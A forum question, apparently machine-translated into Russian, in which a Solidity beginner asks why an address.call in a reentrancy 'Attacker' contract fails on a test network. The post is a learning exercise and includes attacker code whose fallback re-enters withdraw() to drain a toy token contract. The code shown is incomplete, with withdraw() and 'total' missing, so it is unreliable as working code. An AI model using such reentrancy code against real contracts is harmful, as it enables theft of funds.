Функция Address.call () не выполняется при включении, но отлично работает в JavaScript VM? - PullRequest
0 голосов
/ 25 апреля 2019

Я довольно новичок в прочности, и это так странно.

Я получил этот фрагмент кода, работающий в виртуальной машине JavaScript на Remix, чтобы запустить атаку реентера.

Однако, когда я запускаю атакующего по контракту в поезде, я вызываю функцию deposit () в атакующем по контракту. Деньги не переводятся. Мне интересно, почему это так.

pragma solidity^0.5.0;

contract TestToken {
    mapping (address => uint256) balances;

    constructor() public {
        total = 0;
    }

    function deposit() public payable returns (bool success) {
        if (balances[msg.sender] + msg.value < msg.value) return false;
        if (total + msg.value < msg.value) return false;
        balances[msg.sender] += msg.value;
        total += msg.value;
        return true;
    }

}

contract Attacker {
    // uint256 count;
    TestToken token;
    uint256 _value;
    event logString(uint256, uint256, uint256);
      constructor () public payable {

      }
  function deposit(address _tokenAddress) public payable {
      token = TestToken(_tokenAddress);
      _value = address(this).balance;
    //   token.deposit.value(_value)();
    _tokenAddress.call.value(address(this).balance)(abi.encode(bytes4(keccak256("deposit()"))));
  }

  function attack(address _tokenAddress) public {
      token = TestToken(_tokenAddress);
      token.withdraw(_value);
  }

  function() external payable {
    emit logString(address(this).balance, msg.value, address(token).balance);
    if (address(token).balance > msg.value) token.withdraw(msg.value);
  }

  function getBalance() public view returns(uint) { return address(this).balance; } 
  function getTestTokenBalance() public view returns(uint) { return address(token).balance; } 
}

Я провел три дня в этой проблеме. Теперь речь идет не о проблеме, мне просто интересно, что за проблема может так долго застревать.

Если вы можете указать на это, я бы сказал, что вы умнее меня. Просьба

// This line is not working.
    _tokenAddress.call.value(address(this).balance)(abi.encode(bytes4(keccak256("deposit()"))));


Добро пожаловать на сайт PullRequest, где вы можете задавать вопросы и получать ответы от других членов сообщества.
...